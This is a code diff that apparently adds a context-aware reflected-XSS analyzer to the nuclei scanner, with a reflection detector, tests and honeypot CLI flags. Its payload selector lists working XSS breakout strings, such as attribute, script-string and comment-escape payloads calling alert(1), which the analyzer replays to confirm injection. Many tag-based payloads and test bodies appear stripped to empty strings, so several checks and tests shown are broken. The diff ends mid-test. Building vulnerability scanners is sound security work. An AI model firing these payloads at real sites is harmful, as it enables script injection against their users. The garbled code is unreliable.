diff --git a/SYNTAX-REFERENCE.md b/SYNTAX-REFERENCE.md index 33471c6512..38c61d4de8 100755 --- a/SYNTAX-REFERENCE.md +++ b/SYNTAX-REFERENCE.md @@ -2066,6 +2066,7 @@ Valid values: - time_delay + - xss_context
@@ -2080,7 +2081,8 @@ Valid values: Parameters is the parameters for the analyzer Parameters are different for each analyzer. For example, you can customize -time_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer +time_delay analyzer with sleep_duration, time_slope_error_range, etc. +The xss_context analyzer accepts an optional "canary" parameter. Refer to the docs for each analyzer to get an idea about parameters. diff --git a/cmd/nuclei/main.go b/cmd/nuclei/main.go index 8421d1dc69..9529fc864c 100644 --- a/cmd/nuclei/main.go +++ b/cmd/nuclei/main.go @@ -330,6 +330,8 @@ on extensive configurability, massive extensibility and ease of use.`) flagSet.StringVarP(&options.JSONExport, "json-export", "je", "", "file to export results in JSON format"), flagSet.StringVarP(&options.JSONLExport, "jsonl-export", "jle", "", "file to export results in JSONL(ine) format"), flagSet.StringSliceVarP(&options.Redact, "redact", "rd", nil, "redact given list of keys from query parameter, request header and body", goflags.CommaSeparatedStringSliceOptions), + flagSet.IntVarP(&options.HoneypotThreshold, "honeypot-threshold", "hpt", 0, "minimum number of unique template matches before a host is flagged as honeypot (0 = disabled)"), + flagSet.BoolVarP(&options.HoneypotSuppress, "honeypot-suppress", "hpsu", false, "suppress results from hosts flagged as honeypots"), ) flagSet.CreateGroup("configs", "Configurations", diff --git a/pkg/fuzz/analyzers/analyzers.go b/pkg/fuzz/analyzers/analyzers.go index 6266e8bb01..b2b0b4977d 100644 --- a/pkg/fuzz/analyzers/analyzers.go +++ b/pkg/fuzz/analyzers/analyzers.go @@ -27,12 +27,14 @@ type AnalyzerTemplate struct { // Name is the name of the analyzer to use // values: // - time_delay + // - xss_context Name string `json:"name" yaml:"name"` // description: | // Parameters is the parameters for the analyzer // // Parameters are different for each analyzer. For example, you can customize - // time_delay analyzer with sleep_duration, time_slope_error_range, etc. Refer + // time_delay analyzer with sleep_duration, time_slope_error_range, etc. + // The xss_context analyzer accepts an optional "canary" parameter. Refer // to the docs for each analyzer to get an idea about parameters. Parameters map[string]interface{} `json:"parameters" yaml:"parameters"` } @@ -61,6 +63,14 @@ type Options struct { HttpClient *retryablehttp.Client ResponseTimeDelay time.Duration AnalyzerParameters map[string]interface{} + + // ResponseBody is the raw response body from the fuzz request. + // Used by analyzers that need to inspect response content (e.g. xss_context). + ResponseBody string + // ResponseHeaders contains the response headers keyed by header name. + ResponseHeaders map[string][]string + // ResponseStatusCode is the HTTP status code from the fuzz response. + ResponseStatusCode int } var ( diff --git a/pkg/fuzz/analyzers/xss/analyzer.go b/pkg/fuzz/analyzers/xss/analyzer.go new file mode 100644 index 0000000000..b5e2e848dd --- /dev/null +++ b/pkg/fuzz/analyzers/xss/analyzer.go @@ -0,0 +1,252 @@ +// Package xss implements a context-aware XSS reflection analyzer for the +// nuclei fuzzing engine. It detects where user-controlled input is +// reflected in an HTTP response, classifies the surrounding HTML +// parsing context, selects payloads that can structurally achieve +// script execution in that context, and replays them to verify +// exploitability. +// +// The analyzer is registered under the name "xss_context" and can be +// used in fuzzing templates via the `analyzer` field: +// +// analyzer: +// name: xss_context +// parameters: +// canary: "" # optional +// +// When no custom canary is provided, the analyzer generates one that +// includes special characters needed for character-survival detection. +package xss + +import ( + "fmt" + "io" + "strings" + + "github.com/pkg/errors" + "github.com/projectdiscovery/gologger" + "github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers" +) + +// Analyzer implements the analyzers.Analyzer interface for XSS +// context detection and verification. +type Analyzer struct{} + +var _ analyzers.Analyzer = &Analyzer{} + +func init() { + analyzers.RegisterAnalyzer("xss_context", &Analyzer{}) +} + +// Name returns the registered name of this analyzer. +func (a *Analyzer) Name() string { + return "xss_context" +} + +// defaultCanarySuffix contains characters whose survival we want to +// test. It is appended to the random marker so the reflection check +// can determine which chars survive server-side filtering. +const defaultCanarySuffix = `<>"'/` + +// ApplyInitialTransformation replaces the [XSS_CANARY] placeholder +// in the payload template with a generated canary value. The canary +// consists of a random alphanumeric prefix (to avoid collisions with +// page content) plus special characters for character-survival testing. +// +// If the payload does not contain [XSS_CANARY], standard placeholder +// transformations ([RANDNUM], [RANDSTR]) are applied instead. +func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string { + data = analyzers.ApplyPayloadTransformations(data) + + if strings.Contains(data, "[XSS_CANARY]") { + // Allow a custom canary via template parameters. + canary := "" + if params != nil { + if v, ok := params["canary"]; ok { + canary, _ = v.(string) + } + } + if canary == "" { + canary = "nxss" + randAlphaNum(6) + defaultCanarySuffix + } + data = strings.ReplaceAll(data, "[XSS_CANARY]", canary) + if params != nil { + params["xss_canary"] = canary + } + } + return data +} + +// Analyze inspects the HTTP response for reflected XSS vulnerabilities. +// +// High-level flow: +// 1. Extract the canary from analyzer parameters (set by +// ApplyInitialTransformation). +// 2. Check if the canary is present in the response body. +// 3. Run the HTML tokenizer-based context detector to classify each +// reflection point. +// 4. For each context, select payloads whose required characters +// survived the server's filtering. +// 5. Replay each candidate payload through the original fuzz +// component and verify the response confirms exploitability. +// 6. Return true with a descriptive reason string on the first +// confirmed reflection, or false if nothing verifies. +func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) { + // Retrieve the canary that ApplyInitialTransformation injected. + canary := "" + if options.AnalyzerParameters != nil { + if v, ok := options.AnalyzerParameters["xss_canary"]; ok { + canary, _ = v.(string) + } + } + if canary == "" { + return false, "", nil + } + + body := options.ResponseBody + if body == "" { + return false, "", nil + } + + // Quick check: is the canary reflected at all? + if !strings.Contains(body, canary) { + return false, "", nil + } + + reflections := DetectReflections(body, canary) + if len(reflections) == 0 { + return false, "", nil + } + + // For each reflection, try context-appropriate payloads. + for _, ref := range reflections { + payloads := SelectPayloads(ref.Context, ref.Chars) + if len(payloads) == 0 { + continue + } + + for _, payload := range payloads { + ok, err := replayAndVerify(options, payload, ref.Context) + if err != nil { + gologger.Verbose().Msgf("[%s] replay error for payload %q: %v", a.Name(), payload, err) + continue + } + if ok { + reason := fmt.Sprintf( + "[xss_context] reflected XSS confirmed in %s context at position %d (payload: %s)", + ref.Context, ref.Position, payload, + ) + return true, reason, nil + } + } + } + + return false, "", nil +} + +// replayAndVerify sends the candidate payload through the original +// fuzz component (replacing the fuzzed value), reads the response, and +// checks whether the payload appears unencoded in the appropriate +// context. This reduces false positives that would occur if we only +// checked whether characters survive without verifying actual +// injection success. +func replayAndVerify(options *analyzers.Options, payload string, ctx ContextType) (bool, error) { + gr := options.FuzzGenerated + + // Save the original value so we can restore the component after + // replaying. This is important because other payloads or subsequent + // analysis steps need the component in its original state. + original := gr.Value + if original == "" { + original = gr.OriginalValue + } + needsRestore := original != "" || gr.Value != "" || gr.OriginalValue != "" + defer func() { + if needsRestore { + _ = gr.Component.SetValue(gr.Key, original) + _, _ = gr.Component.Rebuild() + } + }() + + if err := gr.Component.SetValue(gr.Key, payload); err != nil { + return false, errors.Wrap(err, "could not set payload value") + } + + rebuilt, err := gr.Component.Rebuild() + if err != nil { + return false, errors.Wrap(err, "could not rebuild request") + } + + gologger.Verbose().Msgf("[%s] replaying payload %q to %s", "xss_context", payload, rebuilt.URL.String()) + + resp, err := options.HttpClient.Do(rebuilt) + if err != nil { + return false, errors.Wrap(err, "replay request failed") + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return false, errors.Wrap(err, "could not read replay response") + } + + return verifyReplayBody(string(respBody), payload, ctx), nil +} + +// verifyReplayBody checks whether the payload string (or its critical +// components) appears in the response in a way that confirms +// exploitability. Simple string containment is the baseline; for +// specific contexts we look for structural indicators. +func verifyReplayBody(body, payload string, ctx ContextType) bool { + if !strings.Contains(body, payload) { + return false + } + + // Context-specific sanity checks to weed out false positives + // where the payload is present but not actually executable. + switch ctx { + case ContextHTMLText: + // The injected tag must appear as-is (not entity-encoded). + return strings.Contains(body, "") || + strings.Contains(body, "onerror=alert(1)") || + strings.Contains(body, "onload=alert(1)") || + strings.Contains(body, "ontoggle=alert(1)") + + case ContextAttribute, ContextAttributeUnquoted: + return strings.Contains(body, "onfocus=alert(1)") || + strings.Contains(body, "onmouseover=alert(1)") || + strings.Contains(body, "onload=alert(1)") || + strings.Contains(body, "") || + strings.Contains(body, ". + return strings.Contains(body, "-->") && + (strings.Contains(body, "") || + strings.Contains(body, "onerror=alert(1)")) + + case ContextStyle: + return strings.Contains(body, "") && + (strings.Contains(body, "") || + strings.Contains(body, "onerror=alert(1)")) + } + + // Fallback: the payload string is present verbatim. + return true +} + +// randAlphaNum generates a random alphanumeric string of length n. +// We reuse the shared random source from the analyzers package by +// calling the exported helper. +func randAlphaNum(n int) string { + const charset = "abcdefghijklmnopqrstuvwxyz0123456789" + b := make([]byte, n) + for i := range b { + b[i] = charset[analyzers.GetRandomInteger()%len(charset)] + } + return string(b) +} diff --git a/pkg/fuzz/analyzers/xss/analyzer_test.go b/pkg/fuzz/analyzers/xss/analyzer_test.go new file mode 100644 index 0000000000..e26c7892f9 --- /dev/null +++ b/pkg/fuzz/analyzers/xss/analyzer_test.go @@ -0,0 +1,103 @@ +package xss + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAnalyzerName(t *testing.T) { + a := &Analyzer{} + require.Equal(t, "xss_context", a.Name()) +} + +func TestApplyInitialTransformation_CanaryReplacement(t *testing.T) { + a := &Analyzer{} + params := make(map[string]interface{}) + result := a.ApplyInitialTransformation("test=[XSS_CANARY]&foo=bar", params) + + // The canary placeholder should be replaced with the generated value. + require.NotContains(t, result, "[XSS_CANARY]") + // The canary should be stored in params. + canary, ok := params["xss_canary"] + require.True(t, ok, "xss_canary should be set in params") + require.NotEmpty(t, canary) + require.Contains(t, result, canary.(string)) +} + +func TestApplyInitialTransformation_CustomCanary(t *testing.T) { + a := &Analyzer{} + params := map[string]interface{}{ + "canary": "my_custom_canary<>\"'", + } + result := a.ApplyInitialTransformation("q=[XSS_CANARY]", params) + require.Contains(t, result, "my_custom_canary<>\"'") + require.Equal(t, "my_custom_canary<>\"'", params["xss_canary"]) +} + +func TestApplyInitialTransformation_NoPlaceholder(t *testing.T) { + a := &Analyzer{} + params := make(map[string]interface{}) + result := a.ApplyInitialTransformation("test=[RANDSTR]&id=[RANDNUM]", params) + + // RANDSTR and RANDNUM should be replaced, but no canary. + require.NotContains(t, result, "[RANDSTR]") + require.NotContains(t, result, "[RANDNUM]") + _, ok := params["xss_canary"] + require.False(t, ok, "xss_canary should not be set without placeholder") +} + +func TestApplyInitialTransformation_NilParams(t *testing.T) { + a := &Analyzer{} + // Should not panic with nil params. + result := a.ApplyInitialTransformation("test=[XSS_CANARY]", nil) + require.NotContains(t, result, "[XSS_CANARY]") +} + +func TestVerifyReplayBody_HTMLText(t *testing.T) { + body := `` + require.True(t, verifyReplayBody(body, "", ContextHTMLText)) +} + +func TestVerifyReplayBody_HTMLText_Encoded(t *testing.T) { + // If the server entity-encodes the payload, it should NOT verify. + body := `<script>alert(1)</script>` + require.False(t, verifyReplayBody(body, "", ContextHTMLText)) +} + +func TestVerifyReplayBody_Attribute(t *testing.T) { + body := `` + payload := `" onfocus=alert(1) autofocus="` + require.True(t, verifyReplayBody(body, payload, ContextAttribute)) +} + +func TestVerifyReplayBody_Script(t *testing.T) { + body := `` + require.True(t, verifyReplayBody(body, ";alert(1)//", ContextScript)) +} + +func TestVerifyReplayBody_Comment(t *testing.T) { + body := `-->` + payload := "-->" + require.True(t, verifyReplayBody(body, payload, ContextHTMLComment)) +} + +func TestVerifyReplayBody_Style(t *testing.T) { + body := `` + payload := "" + require.True(t, verifyReplayBody(body, payload, ContextStyle)) +} + +func TestVerifyReplayBody_PayloadNotPresent(t *testing.T) { + body := `safe content` + require.False(t, verifyReplayBody(body, "", ContextHTMLText)) +} + +func TestRandAlphaNum(t *testing.T) { + s := randAlphaNum(8) + require.Len(t, s, 8) + for _, c := range s { + require.True(t, (c >= 'a' && c <= 'z') || (c >= '0' && c <= '9'), + "character %c should be alphanumeric lowercase", c) + } +} diff --git a/pkg/fuzz/analyzers/xss/context_detector.go b/pkg/fuzz/analyzers/xss/context_detector.go new file mode 100644 index 0000000000..1d4c7c6b9f --- /dev/null +++ b/pkg/fuzz/analyzers/xss/context_detector.go @@ -0,0 +1,362 @@ +package xss + +import ( + "bytes" + "strings" + + "golang.org/x/net/html" +) + +// Package-level byte slices to avoid per-call heap allocation in the +// hot tokenizer loop. +var ( + scriptTag = []byte("script") + styleTag = []byte("style") + titleTag = []byte("title") + textareaT = []byte("textarea") + onPrefix = []byte("on") +) + +// maxReflections caps how many reflection points we track per response +// to bound memory and CPU in pathological pages. +const maxReflections = 16 + +// DetectReflections walks the HTML response body using the standard +// tokenizer and returns metadata about every location where the marker +// string is reflected. The caller typically sends a canary value and +// passes it here as `marker`. +// +// The function handles: +// - Text nodes (body content) +// - Attribute values (quoted and unquoted) +// - Script blocks (inline JS) +// - Style blocks (inline CSS) +// - RCDATA elements (title, textarea) +// - Comments +// - Event-handler attributes (classified as script context) +// +// When the HTML tokenizer fails to find a reflection that we know +// exists (malformed/truncated HTML), we fall back to substring +// scanning to avoid missing reflections. +func DetectReflections(body, marker string) []ReflectionInfo { + if !strings.Contains(body, marker) { + return nil + } + + m := []byte(marker) + z := html.NewTokenizer(strings.NewReader(body)) + + var ( + reflections []ReflectionInfo + tagStack []string // tracks nesting for script/style/rcdata + ) + + currentContext := func() string { + if len(tagStack) == 0 { + return "" + } + return tagStack[len(tagStack)-1] + } + + // Track how much of the body we have consumed so we can calculate + // byte offsets for each reflection. + bodyOffset := 0 + + for { + if len(reflections) >= maxReflections { + break + } + + tt := z.Next() + raw := string(z.Raw()) + tokenLen := len(raw) + + switch tt { + case html.ErrorToken: + // End of document. Fall through to the drain logic. + goto drain + + case html.CommentToken: + if bytes.Contains(z.Text(), m) { + chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen) + reflections = append(reflections, ReflectionInfo{ + Context: ContextHTMLComment, + Position: bodyOffset + strings.Index(raw, marker), + Chars: chars, + }) + } + + case html.StartTagToken, html.SelfClosingTagToken: + tn, hasAttr := z.TagName() + tagLower := strings.ToLower(string(tn)) + + if tt == html.StartTagToken { + switch { + case bytes.EqualFold(tn, scriptTag): + tagStack = append(tagStack, "script") + case bytes.EqualFold(tn, styleTag): + tagStack = append(tagStack, "style") + case bytes.EqualFold(tn, titleTag), bytes.EqualFold(tn, textareaT): + tagStack = append(tagStack, tagLower) + } + } + + // Check if marker appears in the raw tag (e.g. tag name injection) + if hasAttr { + reflections = findAttributeReflections(raw, z, marker, m, body, bodyOffset, tokenLen, reflections) + } + + case html.EndTagToken: + tn, _ := z.TagName() + closingTag := strings.ToLower(string(tn)) + // Pop matching tag from the stack, searching from the top. + for i := len(tagStack) - 1; i >= 0; i-- { + if tagStack[i] == closingTag { + tagStack = tagStack[:i] + break + } + } + + case html.TextToken: + text := z.Text() + if bytes.Contains(text, m) { + ctx := currentContext() + chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen) + var ctxType ContextType + + switch ctx { + case "script": + ctxType = classifyScriptContext(raw, marker) + case "style": + ctxType = ContextStyle + case "title", "textarea": + // RCDATA elements: content is not parsed as HTML + ctxType = ContextHTMLText + default: + ctxType = ContextHTMLText + } + + idx := strings.Index(raw, marker) + if idx < 0 { + // Marker may be entity-encoded in raw but decoded in Text + idx = 0 + } + reflections = append(reflections, ReflectionInfo{ + Context: ctxType, + Position: bodyOffset + idx, + Chars: chars, + }) + } + } + + bodyOffset += tokenLen + } + +drain: + // If we know the marker is in the body but the tokenizer missed it + // (truncated HTML, unclosed tags, etc.), scan the remaining text + // with substring windows to pick up anything we missed. + reflections = drainRemainingReflections(body, marker, reflections) + return reflections +} + +// findAttributeReflections examines the attributes of the current start +// tag for reflections of the marker. Event handler attributes are +// classified as ContextScript; other attributes are ContextAttribute +// or ContextAttributeUnquoted depending on the quoting style in the +// raw token string. +func findAttributeReflections( + raw string, + z *html.Tokenizer, + marker string, + m []byte, + body string, + bodyOffset, tokenLen int, + reflections []ReflectionInfo, +) []ReflectionInfo { + for { + if len(reflections) >= maxReflections { + break + } + k, v, more := z.TagAttr() + + if bytes.Contains(v, m) { + attrName := strings.ToLower(string(k)) + chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen) + + if isEventHandler(k) { + reflections = append(reflections, ReflectionInfo{ + Context: ContextScript, + Position: bodyOffset, + AttributeName: attrName, + Chars: chars, + }) + } else { + ctxType := classifyAttributeContext(raw, marker) + reflections = append(reflections, ReflectionInfo{ + Context: ctxType, + Position: bodyOffset, + AttributeName: attrName, + Chars: chars, + }) + } + } + + // Also check if the marker is in the attribute name itself + // (attribute injection). + if bytes.Contains(k, m) { + chars := detectCharsNearMarker(body, marker, bodyOffset, tokenLen) + reflections = append(reflections, ReflectionInfo{ + Context: ContextAttribute, + Position: bodyOffset, + Chars: chars, + }) + } + + if !more { + break + } + } + return reflections +} + +// classifyAttributeContext looks at the raw HTML around the marker to +// determine whether the attribute is double-quoted, single-quoted, or +// unquoted. The distinction matters because breakout characters differ. +func classifyAttributeContext(raw, marker string) ContextType { + idx := strings.Index(raw, marker) + if idx < 0 { + return ContextAttribute + } + + // Walk backward from the marker to find the quote character (or lack + // thereof) that opens this attribute value. + for i := idx - 1; i >= 0; i-- { + ch := raw[i] + switch ch { + case '"': + return ContextAttribute + case '\'': + return ContextAttribute + case '=': + // '=' immediately before the marker with no quote means unquoted + return ContextAttributeUnquoted + case ' ', '\t', '\n', '\r': + // Whitespace before an unquoted value + return ContextAttributeUnquoted + } + } + return ContextAttribute +} + +// classifyScriptContext determines whether the marker inside a ` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + require.Equal(t, ContextScript, refs[0].Context) +} + +func TestDetectReflections_ScriptString(t *testing.T) { + body := `` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + require.Equal(t, ContextScriptString, refs[0].Context) +} + +func TestDetectReflections_ScriptSingleQuoteString(t *testing.T) { + body := `` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + require.Equal(t, ContextScriptString, refs[0].Context) +} + +func TestDetectReflections_Comment(t *testing.T) { + body := `` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + require.Equal(t, ContextHTMLComment, refs[0].Context) +} + +func TestDetectReflections_Style(t *testing.T) { + body := `` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + require.Equal(t, ContextStyle, refs[0].Context) +} + +func TestDetectReflections_EventHandler(t *testing.T) { + body := `
click
` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + require.Equal(t, ContextScript, refs[0].Context) + require.Equal(t, "onclick", refs[0].AttributeName) +} + +func TestDetectReflections_MultipleReflections(t *testing.T) { + body := `

MARKER123

` + refs := DetectReflections(body, "MARKER123") + require.GreaterOrEqual(t, len(refs), 2) + + // Verify we detected at least HTML text and attribute contexts. + contexts := make(map[ContextType]bool) + for _, r := range refs { + contexts[r.Context] = true + } + require.True(t, contexts[ContextHTMLText], "expected HTML text context") + require.True(t, contexts[ContextAttribute], "expected attribute context") +} + +func TestDetectReflections_NoMarker(t *testing.T) { + body := `Hello world` + refs := DetectReflections(body, "MARKER123") + require.Nil(t, refs) +} + +func TestDetectReflections_Title(t *testing.T) { + body := `MARKER123` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + // title is RCDATA context, we classify it as HTMLText since the + // breakout strategy is the same (close the tag and inject). + require.Equal(t, ContextHTMLText, refs[0].Context) +} + +func TestDetectReflections_Textarea(t *testing.T) { + body := `` + refs := DetectReflections(body, "MARKER123") + require.Len(t, refs, 1) + require.Equal(t, ContextHTMLText, refs[0].Context) +} + +func TestDetectReflections_AttributeKeyInjection(t *testing.T) { + // Marker in attribute name indicates attribute-name injection. + // We use a lowercase marker because the HTML tokenizer lowercases + // attribute names, so an uppercase marker in a key will be + // normalized and the byte comparison would fail. + body := `
text
` + refs := DetectReflections(body, "marker123") + require.NotEmpty(t, refs) + hasAttrContext := false + for _, r := range refs { + if r.Context == ContextAttribute { + hasAttrContext = true + } + } + require.True(t, hasAttrContext) +} + +func TestIsEventHandler(t *testing.T) { + tests := []struct { + attr string + expect bool + }{ + {"onclick", true}, + {"onerror", true}, + {"onload", true}, + {"ONCLICK", true}, + {"OnMouseOver", true}, + {"class", false}, + {"href", false}, + {"on", false}, // too short to be a real handler + {"ongoing", false}, // starts with "on" but not a handler + {"onx", false}, // not a real handler + {"ontouchstart", true}, + {"onfullscreenchange", true}, + } + for _, tc := range tests { + t.Run(tc.attr, func(t *testing.T) { + result := isEventHandler([]byte(tc.attr)) + require.Equal(t, tc.expect, result, "isEventHandler(%q)", tc.attr) + }) + } +} + +func TestClassifyScriptContext_BareCode(t *testing.T) { + raw := `var x = MARKER123;` + ctx := classifyScriptContext(raw, "MARKER123") + require.Equal(t, ContextScript, ctx) +} + +func TestClassifyScriptContext_DoubleQuotedString(t *testing.T) { + raw := `var x = "Hello MARKER123";` + ctx := classifyScriptContext(raw, "MARKER123") + require.Equal(t, ContextScriptString, ctx) +} + +func TestClassifyScriptContext_SingleQuotedString(t *testing.T) { + raw := `var x = 'Hello MARKER123';` + ctx := classifyScriptContext(raw, "MARKER123") + require.Equal(t, ContextScriptString, ctx) +} + +func TestClassifyScriptContext_BacktickTemplate(t *testing.T) { + raw := "var x = `Hello MARKER123`;" + ctx := classifyScriptContext(raw, "MARKER123") + require.Equal(t, ContextScriptString, ctx) +} + +func TestClassifyScriptContext_EscapedQuote(t *testing.T) { + // The backslash escapes the first quote, so we are still inside + // the string when the marker appears. + raw := `var x = "He said \"Hello MARKER123\"";` + ctx := classifyScriptContext(raw, "MARKER123") + require.Equal(t, ContextScriptString, ctx) +} + +func TestDetectAvailableChars_AllPresent(t *testing.T) { + marker := `nxssabc123<>"'/` + body := `` + marker + `` + chars := DetectAvailableChars(body, marker) + require.True(t, chars.AngleBrackets) + require.True(t, chars.DoubleQuote) + require.True(t, chars.SingleQuote) + require.True(t, chars.ForwardSlash) +} + +func TestDetectAvailableChars_SomeEncoded(t *testing.T) { + // Simulate the server encoding angle brackets but leaving quotes + marker := `nxssabc123<>"'/` + encoded := `nxssabc123<>"'/` // < and > were encoded + body := `` + encoded + `` + chars := DetectAvailableChars(body, marker) + // The full marker is NOT present in the body, so angle brackets + // should be detected as unavailable. + require.False(t, chars.AngleBrackets) +} diff --git a/pkg/fuzz/analyzers/xss/payload_selector.go b/pkg/fuzz/analyzers/xss/payload_selector.go new file mode 100644 index 0000000000..a95274bbee --- /dev/null +++ b/pkg/fuzz/analyzers/xss/payload_selector.go @@ -0,0 +1,166 @@ +package xss + +// SelectPayloads returns a set of XSS payloads tuned for the given +// reflection context and filtered by the characters that survived +// server-side encoding/filtering. The goal is to avoid wasting +// requests on payloads that will inevitably be neutered. +func SelectPayloads(ctx ContextType, chars CharacterSet) []string { + candidates := payloadsForContext(ctx) + if len(candidates) == 0 { + return nil + } + + var filtered []string + for _, p := range candidates { + if canUsePayload(p, chars) { + filtered = append(filtered, p) + } + } + return filtered +} + +// payloadsForContext returns the raw payload candidates for a given +// context type. Each payload set is designed to break out of the +// surrounding context and achieve script execution. +func payloadsForContext(ctx ContextType) []string { + switch ctx { + case ContextHTMLText: + return htmlTextPayloads + case ContextAttribute: + return attributePayloads + case ContextAttributeUnquoted: + return unquotedAttributePayloads + case ContextScript: + return scriptPayloads + case ContextScriptString: + return scriptStringPayloads + case ContextHTMLComment: + return commentPayloads + case ContextStyle: + return stylePayloads + default: + return nil + } +} + +// canUsePayload checks whether the payload's required characters all +// survived the server's filtering. A payload that needs < and > is +// useless if angle brackets are stripped. +func canUsePayload(payload string, chars CharacterSet) bool { + needs := payloadRequirements(payload) + + if needs.AngleBrackets && !chars.AngleBrackets { + return false + } + if needs.SingleQuote && !chars.SingleQuote { + return false + } + if needs.DoubleQuote && !chars.DoubleQuote { + return false + } + if needs.ForwardSlash && !chars.ForwardSlash { + return false + } + if needs.Parentheses && !chars.Parentheses { + return false + } + if needs.Backtick && !chars.Backtick { + return false + } + if needs.Equals && !chars.Equals { + return false + } + return true +} + +// payloadRequirements scans a payload string and returns which special +// characters it depends on. +func payloadRequirements(payload string) CharacterSet { + var needs CharacterSet + for _, ch := range payload { + switch ch { + case '<', '>': + needs.AngleBrackets = true + case '\'': + needs.SingleQuote = true + case '"': + needs.DoubleQuote = true + case '/': + needs.ForwardSlash = true + case '`': + needs.Backtick = true + case '(', ')': + needs.Parentheses = true + case '=': + needs.Equals = true + } + } + return needs +} + +// --- Payload sets by context --- +// +// Payloads are intentionally minimal: the analyzer's job is to confirm +// that code execution is structurally possible, not to deliver a full +// exploit chain. Each payload targets the most common breakout vector +// for its context. + +// htmlTextPayloads break out by injecting new tags. +var htmlTextPayloads = []string{ + "", + "", + "", + "", + "
", +} + +// attributePayloads break out of a quoted attribute value and inject +// an event handler or new tag. +var attributePayloads = []string{ + `" onfocus=alert(1) autofocus="`, + `" onmouseover=alert(1) "`, + `">`, + `">
`, + `' onfocus=alert(1) autofocus='`, + `'>`, +} + +// unquotedAttributePayloads exploit missing quotes around attribute +// values -- a space or slash is enough to inject a new attribute. +var unquotedAttributePayloads = []string{ + " onfocus=alert(1) autofocus", + " onmouseover=alert(1)", + ">", + ">", +} + +// scriptPayloads inject into bare ", + ";alert(1)//", + ";alert(1);", +} + +// scriptStringPayloads break out of a JS string literal and execute +// code, then re-open a string so the trailing quote does not cause +// a syntax error. +var scriptStringPayloads = []string{ + `';alert(1)//`, + `";alert(1)//`, + ``, + "`-alert(1)-`", +} + +// commentPayloads close the HTML comment and inject executable HTML. +var commentPayloads = []string{ + "-->", + "-->", +} + +// stylePayloads attempt CSS-based injection vectors. Modern browsers +// largely block expression() and -moz-binding, but breakout +// is still viable. +var stylePayloads = []string{ + "", + "", +} diff --git a/pkg/fuzz/analyzers/xss/payload_selector_test.go b/pkg/fuzz/analyzers/xss/payload_selector_test.go new file mode 100644 index 0000000000..e4b75c5d18 --- /dev/null +++ b/pkg/fuzz/analyzers/xss/payload_selector_test.go @@ -0,0 +1,166 @@ +package xss + +import ( + "testing" + + "github.com/stretchr/testify/require" +) + +func TestSelectPayloads_HTMLText_AllCharsAvailable(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + SingleQuote: true, + DoubleQuote: true, + ForwardSlash: true, + Backtick: true, + Parentheses: true, + Equals: true, + } + payloads := SelectPayloads(ContextHTMLText, chars) + require.NotEmpty(t, payloads) + // All HTML text payloads require angle brackets and parentheses + for _, p := range payloads { + require.Contains(t, p, "<", "payload %q should contain <", p) + } +} + +func TestSelectPayloads_HTMLText_NoBrackets(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: false, + SingleQuote: true, + DoubleQuote: true, + ForwardSlash: true, + Parentheses: true, + Equals: true, + } + payloads := SelectPayloads(ContextHTMLText, chars) + // Without angle brackets, HTML text payloads should be filtered out + require.Empty(t, payloads) +} + +func TestSelectPayloads_Attribute_AllChars(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + SingleQuote: true, + DoubleQuote: true, + ForwardSlash: true, + Parentheses: true, + Equals: true, + } + payloads := SelectPayloads(ContextAttribute, chars) + require.NotEmpty(t, payloads) +} + +func TestSelectPayloads_Attribute_NoDoubleQuote(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + SingleQuote: true, + DoubleQuote: false, + ForwardSlash: true, + Parentheses: true, + Equals: true, + } + payloads := SelectPayloads(ContextAttribute, chars) + // Should still have some payloads (single-quote variants) + require.NotEmpty(t, payloads) + // None should contain a double quote + for _, p := range payloads { + require.NotContains(t, p, `"`, "payload should not need double quote: %s", p) + } +} + +func TestSelectPayloads_Script(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + ForwardSlash: true, + Parentheses: true, + } + payloads := SelectPayloads(ContextScript, chars) + require.NotEmpty(t, payloads) +} + +func TestSelectPayloads_ScriptString(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + SingleQuote: true, + DoubleQuote: true, + ForwardSlash: true, + Parentheses: true, + Backtick: true, + } + payloads := SelectPayloads(ContextScriptString, chars) + require.NotEmpty(t, payloads) +} + +func TestSelectPayloads_Comment(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + ForwardSlash: true, + Parentheses: true, + Equals: true, + } + payloads := SelectPayloads(ContextHTMLComment, chars) + require.NotEmpty(t, payloads) +} + +func TestSelectPayloads_Style(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + ForwardSlash: true, + Parentheses: true, + Equals: true, + } + payloads := SelectPayloads(ContextStyle, chars) + require.NotEmpty(t, payloads) +} + +func TestSelectPayloads_UnknownContext(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + SingleQuote: true, + DoubleQuote: true, + } + payloads := SelectPayloads(ContextNone, chars) + require.Nil(t, payloads) +} + +func TestPayloadRequirements(t *testing.T) { + reqs := payloadRequirements(`">`) + require.True(t, reqs.AngleBrackets) + require.True(t, reqs.DoubleQuote) + require.True(t, reqs.ForwardSlash) + require.True(t, reqs.Parentheses) + require.False(t, reqs.SingleQuote) + require.False(t, reqs.Backtick) +} + +func TestCanUsePayload_AllAvailable(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: true, + SingleQuote: true, + DoubleQuote: true, + ForwardSlash: true, + Parentheses: true, + Backtick: true, + Equals: true, + } + require.True(t, canUsePayload(``, chars)) +} + +func TestCanUsePayload_MissingBrackets(t *testing.T) { + chars := CharacterSet{ + AngleBrackets: false, + Parentheses: true, + ForwardSlash: true, + 